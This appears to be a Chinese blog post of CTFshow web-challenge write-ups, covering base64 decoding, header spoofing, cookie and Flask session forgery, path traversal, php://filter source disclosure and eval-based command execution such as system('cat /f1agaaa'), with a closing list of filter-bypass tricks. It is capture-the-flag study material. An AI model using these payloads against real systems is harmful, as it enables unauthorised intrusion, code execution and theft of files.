CTFshow-web方向(更新中)

萌新杯

web-14

过滤了括号以及分号

GET:?c=include$_POST['a']?> 、 POST:a=php://filter/read=convert.base64-encode/resource=config.php

image-20251015160050825

密码3

摩斯密码解密

image-20251015161851536

得到一个摩斯酷但培根更酷,

MMDDMDMDMMMDDDDMDD%u3MMMMMDDMDMDDM

WEB应用与安全防护

第一章

Base64编码隐藏

查看网页源码,找到登录脚本,发现有个base64编码的正确密码,结合下方的登陆成功逻辑,确定解码后的密码就是flag。

image-20251011104659029

解码

image-20251011104801614

HTTP头注入

使用上次的密码是试一试能不能登录

image-20251015151233944

密码正确,但是提示必须使用ctf-show-brower浏览器来访问页面

image-20251015152633492

得到flag

image-20251015152648988

Base64多层嵌套解码

查看源码,与编码隐藏相同,注意到这里有五层编码,解码即可

const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="; 
            function validatePassword(input) {
                let encoded = btoa(input);
                encoded = btoa(encoded + 'xH7jK').slice(3);
                encoded = btoa(encoded.split('').reverse().join(''));
                encoded = btoa('aB3' + encoded + 'qW9').substr(2);
                return btoa(encoded) === correctPassword;
            }

先解码一次

IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5得到的就是第四步encoded = btoa('aB3' + encoded + 'qW9').substr(2);处理之后的编码

第四步将ab3+encoded+qw9 进行编码,然后在第三个字符串开始截取

我们先解码一次就能得到IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5

同时注意到ab3编码YUIzqw9编码cVc5

去除添加的字符串,处理之后应该是UFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9,这就是第三步处理之后的编码

然后解码一次得到PT13U3FkRFM0SlRSNjEwTUY=

encoded.split('').reverse().join('')这个方法是反转编码

用脚本先解码一次,再反转编码

import base64

def recover_original(encoded_b64):
    # 1️⃣ 先 Base64 解码
    decoded = base64.b64decode(encoded_b64).decode('utf-8')
    # 2️⃣ 再反转字符串
    original = decoded[::-1]
    return original

if __name__ == "__main__":
    encoded_after = "==wSqdDS4JTR610MF"
    original_string = recover_original(encoded_after)
    print("原字符串是:", original_string)

    

得到第二步处理后的代码FM016RTJ4SDdqSw==

这一步去除了前面三个字符,需要补充上三个字符进行解码,然后去除xH7jK然后得到了第一步处理后的编码,将第一步处理后的编码再次解码就是密码

这里需要利用python进行穷举出所有的结果

import base64
import itertools
import string

# 待处理字符串
after_slice = "FM016RTJ4SDdqSw=="

# Base64 字符集
B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# 输出文件
OUT_FILE = "candidates.txt"

def safe_b64decode(b64_str: str):
    """安全 Base64 解码,失败返回 None"""
    try:
        # 补齐 = 保证长度是 4 的倍数
        pad = (-len(b64_str)) % 4
        if pad:
            b64_str += "=" * pad
        return base64.b64decode(b64_str)
    except Exception:
        return None

def is_valid_utf8(b: bytes):
    try:
        b.decode("utf-8")
        return True
    except UnicodeDecodeError:
        return False

def main():
    total = 0
    found = 0
    with open(OUT_FILE, "w", encoding="utf-8") as fout:
        for prefix_tuple in itertools.product(B64_CHARS, repeat=3):
            prefix3 = ''.join(prefix_tuple)
            total += 1
            full_b64 = prefix3 + after_slice
            # 第一次解码
            decoded = safe_b64decode(full_b64)
            if decoded is None:
                continue
            # 去掉尾部 xH7jK
            if len(decoded) < 5:
                continue
            first_layer = decoded[:-5]
            # 第二次解码(去掉尾部 xH7jK 后的 bytes 直接当作 Base64)
            second_layer_str = first_layer.decode("latin1")  # 按 latin1 避免 decode 错误
            second_layer_decoded = safe_b64decode(second_layer_str)
            if second_layer_decoded is None:
                continue
            # 检查 UTF-8 合法性
            if not is_valid_utf8(second_layer_decoded):
                continue
            final_text = second_layer_decoded.decode("utf-8")
            fout.write(final_text + "\n")
            found += 1
            if total % 50000 == 0:
                print(f"[progress] tried {total} prefixes, found {found} candidates")
    print(f"Done. tried {total} prefixes, found {found} candidates. Results in '{OUT_FILE}'")

if __name__ == "__main__":
    main()

得到一个密码字典,利用python进行爆破,找到登录请求,然后抓包。

image-20251011141816153

post请求,路径是check.php

设置payload,导入字典,然后传入主体参数。

image-20251011142032999

这里遇到问题了,需要更改请求头

image-20251011123215320

image-20251011142014412

发现返回长度是2532的都能获取到flag,可能是密码中只要包含7316都能正常登录

image-20251011125523938

用hacker验证一下

image-20251011125618771

中间人攻击

压缩包中一个数据流、一个日志,日志被加密了

用wireshark打开数据流,发现没有http流

image-20251011144710489将日志文件导入,编辑->首选项->Protocols->TLS

image-20251011144401893

导入日志文件,发现多了两个HTTP的数据

image-20251011144441413

追踪一下

image-20251011144506367

Cookie伪造

查看源码没什么提示,查看cookie现在也没什么用

image-20251015145854558

利用弱密码进行登录

image-20251015145944147

发现cookie中多了一项,将role的值修改为admin试试

image-20251015150156519

成功

image-20251015150208584

第二章

菜狗杯

我是谁??

image-20251018093015393

web签到

CTF-show菜狗杯web签到

访问页面

image-20251010172110600

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

利用eval进行执行命令

首先传入cookieCTFshow-QQ群=a

Cookie: CTFshow-QQ%E7%BE%A4:=a

中文用url编码

然后eval变为

eval($_REQUEST[$_GET[$_POST['a']]][6][0][7][5][8][0][9][4][4]);

post传入参数 a=b;

然后eval变为

eval($_REQUEST[$_GET['b']][6][0][7][5][8][0][9][4][4]);

get传入参数 b=c

然后eval变为

eval($_REQUEST['c'][6][0][7][5][8][0][9][4][4]);

对于request请求,可以使用任意方式进行传参,写进主体中,传参为

c[6][0][7][5][8][0][9][4][4]=system('ls')

image-20251010182044305

利用命令查看根目录

image-20251010182926953

发现flagaaa,构造payloada=b&c[6][0][7][5][8][0][9][4][4]=system('cat /f1agaaa');

image-20251010183205968

web2 c0me_t0_s1gn

image-20251010184048162

需要用上帝的眼睛看~,查看源码

image-20251010184126298

给了flag前半部分的形式,剩下的需要用控制台,打开控制台

image-20251010184159344

运行脚本

image-20251010184243708

我的眼里只有$

image-20251011102308646

extract() 方法可用于将数组展开,键名作为变量名,元素值为变量值

``${...}(或多个 $)表示“多层变量变量(variable variables)解引用”。如果从 $ 出发到目标变量需要经过 **N** 次“指向”关系($ -> a -> b -> ... -> target),那么需要 **N 层 $**(即 ${${...${$}...}},或写成 N 个 $紧跟$)来把最终的变量值取出来,eval(...) 就会把那个最终取到的字符串当作 PHP 代码执行。

image-20251011102744589

因为这里有36个$,最后一个变量执行命令,让_=a;a=b一直重复下去35次,最后一个写入执行的命令

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('tac /f1agaaa');

image-20251011150245952

抽老婆

打开没发现有用的信息,用dirsearch扫描一下

image-20251018084638432

有一个console页面可以返回

image-20251018084741932

要远程运行命令

之前扫描出来的download页面没有携带参数,

image-20251018085022590

传入参数进行访问

image-20251018085322068

可以看到源码位置,根据返回值尝试下载源码

download?file=../../app.py

image-20251018085510871

有了源码就简单多了,只需要验证seesion即可

直接访问

image-20251018085640718

想得太简单了,直接让session=isadmin了,结果发现不对,

image-20251018085711176

原来这个用的应该是JWT方式认证,里面签名要用到SECRET_KEY;于是我们将isadmin的值更改后,使用密钥SECRET_KEY重新加密生成一个session。

查看代码可以看到SECRET_KET的构成

image-20251018091051189

image-20251018092641410

python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi':' 6ae9f2cca372305c8edcf15a22f660d8.jpg','isadmin':True}"

image-20251018091614834

image-20251018091634728

更改cookie中的seesion之后

image-20251018091659153

一言既出

image-20251018095456957

传入参数==114514然后intval处理之后等于1919810

image-20251018100017115

114514%2B1805296

get只会获得前面的数,而intval函数会将两个数相加。

驷马难追

image-20251018100840087

这一关过滤了括号和注释符,用上一关的payload即可

image-20251018100832751

TAPTAPTAP

查看源码,没什么信息,查看js

image-20251018201225615

image-20251018201620885

WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ=

base64编码的东西,解码

image-20251018201707278

给了flag文件的路径以及文件名

image-20251018201817633

总结

RCE代码执行

intval与preg_match绕过方法:

进制绕过二进制或者八进制或者十六进制等等

双重取反~~绕过

有时候需要编码需要绕过的字符$a=~("system"); echo urlencode($a);

换行\n绕过

编码绕过

SQL查询中,如果我们将Base64编码的字符串直接拼接到SQL语句中,并且使用单引号包围,那么如果Base64编码的字符串中包含单引号,就会破坏SQL语句的结构,导致SQL注入或者语法错误。

常见的命令执行函数

system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()

过滤;

使用?>绕过

使用if绕过

flask框架中的session伪造

session的作用

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息

session有两种储存方式,一种是存在客户端的cookies中,另一种存在服务器中

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据                                     时间戳       签名               

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

session伪造工具

https://github.com/noraj/flask-session-cookie-manager

posted @ 2025-10-11 14:23  韭菜花也是花  阅读(34)  评论(0)    收藏  举报